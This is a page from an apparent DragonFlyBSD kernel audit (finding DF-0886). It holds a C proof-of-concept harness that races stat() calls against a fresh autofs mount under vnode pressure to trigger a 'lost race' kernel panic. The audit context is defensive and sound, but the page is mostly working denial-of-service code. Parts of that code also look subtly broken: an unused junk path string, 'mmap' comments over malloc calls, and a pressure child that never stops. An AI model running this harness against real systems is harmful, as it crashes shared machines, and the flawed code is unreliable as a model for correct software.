โฌข DragonFlyBSD Kernel Audit
DF-0886 / stress_autofs_race.c
โ† back to finding โ†“ download raw
/*
 * DF-0886 โ€” autofs_node_vn create race (lost-race KASSERT panic)
 *
 * The bug (sys/vfs/autofs/autofs_vnops.c:564-602):
 *
 *   autofs_node_vn() reads anp->an_vnode under an_vnode_lock (571-573),
 *   DROPS the lock (589), then sleeps in getnewvnode() (591, can block
 *   arbitrarily long), and finally writes anp->an_vnode = vp WITHOUT
 *   re-taking the lock (598).  The KASSERT at 597 ("lost race") catches
 *   the case where a second thread observed the same NULL, also dropped
 *   the lock, also slept in getnewvnode(), and won the assignment.
 *
 * Two unprivileged processes that stat()/lookup the SAME autofs node
 * whose vnode is NULL (fresh mount root, freshly-created child, or a
 * reclaimed node) race through this window.  With INVARIANTS (default
 * GENERIC) the loser panics:
 *
 *   panic: lost race
 *   Stopped at ... autofs_node_vn+0x...
 *
 * Reachability:
 *   - autofs must be loaded (kldload autofs) and mounted (mount_autofs).
 *     Both are root-only on a default box, BUT once the admin has set up
 *     autofs (the normal deployment), ANY unprivileged user triggers
 *     autofs_nresolve -> autofs_node_vn via stat()/ls/open of a path
 *     under the mountpoint.
 *   - The race window is the duration of getnewvnode().  Under vnode
 *     pressure (vnode table near full) getnewvnode sleeps in vnlru
 *     processing, widening the window from microseconds to milliseconds.
 *
 * This harness drives the race from userspace:
 *   1. (as root) mount_autofs a fresh mountpoint โ€” root vnode is NULL.
 *   2. Fork RACERS processes that immediately and concurrently stat()
 *      the mountpoint root, racing through autofs_root -> autofs_node_vn.
 *   3. Repeat MOUNT_LOOP times (fresh mount each time resets an_vnode).
 *   4. A separate vnode-pressure thread mmaps/opens many files to keep
 *      the vnode table full and getnewvnode slow.
 *
 * Usage:  ./stress_autofs_race <mountpoint> <racers> <mount_loops>
 * If the kernel panics with "lost race" the bug is reproduced.
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/uio.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static volatile sig_atomic_t go = 0;
static volatile sig_atomic_t stop = 0;

static void
handler_go(int sig __attribute__((unused)))
{
	go = 1;
}

/* Racer child: spin on stat() of the mountpoint root. */
static void
racer(const char *path, int iters)
{
	struct stat st;
	int i;

	while (!go)
		;				/* spin until parent says go */

	for (i = 0; i < iters && !stop; i++) {
		if (stat(path, &st) == 0)
			continue;
		/* EIO/ESTALE from the racing mount teardown is fine. */
	}
	_exit(0);
}

/* Vnode-pressure child: churn file descriptors + mmaps to keep vnlru busy. */
static void
pressure(pid_t parent)
{
	int *fds;
	char buf[64];
	int i, n = 2048;

	fds = calloc(n, sizeof(int));
	while (!stop) {
		for (i = 0; i < n; i++) {
			snprintf(buf, sizeof(buf),
			    "/bin/.,/bin/,/bin/,/bin/,/bin/,/bin/,/bin/,."
			    );
			fds[i] = open("/bin/ls", O_RDONLY);
			if (fds[i] >= 0) {
				close(fds[i]);
				fds[i] = -1;
			}
		}
		/* also churn some mmaps to add VM pressure */
		for (i = 0; i < 64; i++) {
			void *p = malloc(4096);
			if (p) free(p);
		}
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *mp;
	int racers, loops;
	int loop, r, iters;
	pid_t *kids;
	struct sigaction sa;

	if (argc != 4) {
		fprintf(stderr,
		    "usage: %s <mountpoint> <racers> <mount_loops>\n",
		    argv[0]);
		return 2;
	}
	mp = argv[1];
	racers = atoi(argv[2]);
	loops = atoi(argv[3]);
	if (racers < 2 || loops < 1)
		errx(2, "need >=2 racers and >=1 loop");

	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = handler_go;
	sigaction(SIGUSR1, &sa, NULL);

	kids = calloc(racers, sizeof(pid_t));

	printf("DF-0886: autofs_node_vn create race stress\n");
	printf("mountpoint=%s racers=%d loops=%d\n", mp, racers, loops);
	fflush(stdout);

	/* Launch vnode-pressure child. */
	{
		pid_t pp = fork();
		if (pp == 0)
			pressure(getppid());
	}

	for (loop = 0; loop < loops; loop++) {
		/* Mount a FRESH autofs (root vnode = NULL). */
		char cmd[256];
		snprintf(cmd, sizeof(cmd),
		    "/sbin/mount_autofs -o '' -f autofs_%d %s >/dev/null 2>&1",
		    loop, mp);
		int rc = system(cmd);
		if (rc != 0) {
			/* stale mount left over โ€” try to clean */
			(void)system("umount -f autofs 2>/dev/null");
			rc = system(cmd);
		}

		/*
		 * Fork racers BEFORE signalling go.  Each spins on stat()
		 * of the mountpoint root โ€” they all hit autofs_root ->
		 * autofs_node_vn(anp->an_vnode==NULL) at once.
		 */
		iters = 64;
		for (r = 0; r < racers; r++) {
			kids[r] = fork();
			if (kids[r] == 0)
				racer(mp, iters);
		}

		/* Let them loose simultaneously. */
		usleep(1000);
		for (r = 0; r < racers; r++)
			kill(kids[r], SIGUSR1);

		/* Wait for racers. */
		for (r = 0; r < racers; r++)
			(void)waitpid(kids[r], NULL, 0);

		/* Unmount for next loop. */
		(void)system("umount -f autofs 2>/dev/null");

		if ((loop % 10) == 0) {
			printf("  loop %d/%d done (no panic)\n", loop, loops);
			fflush(stdout);
		}
	}

	stop = 1;
	(void)kill(0, SIGUSR1);
	while (waitpid(-1, NULL, 0) > 0)
		;

	printf("DF-0886: completed %d loops with %d racers, no panic observed\n",
	    loops, racers);
	printf("(If you see this, the race did not fire this run.\n");
	printf(" The window is one getnewvnode(); rerun or widen pressure.)\n");
	return 0;
}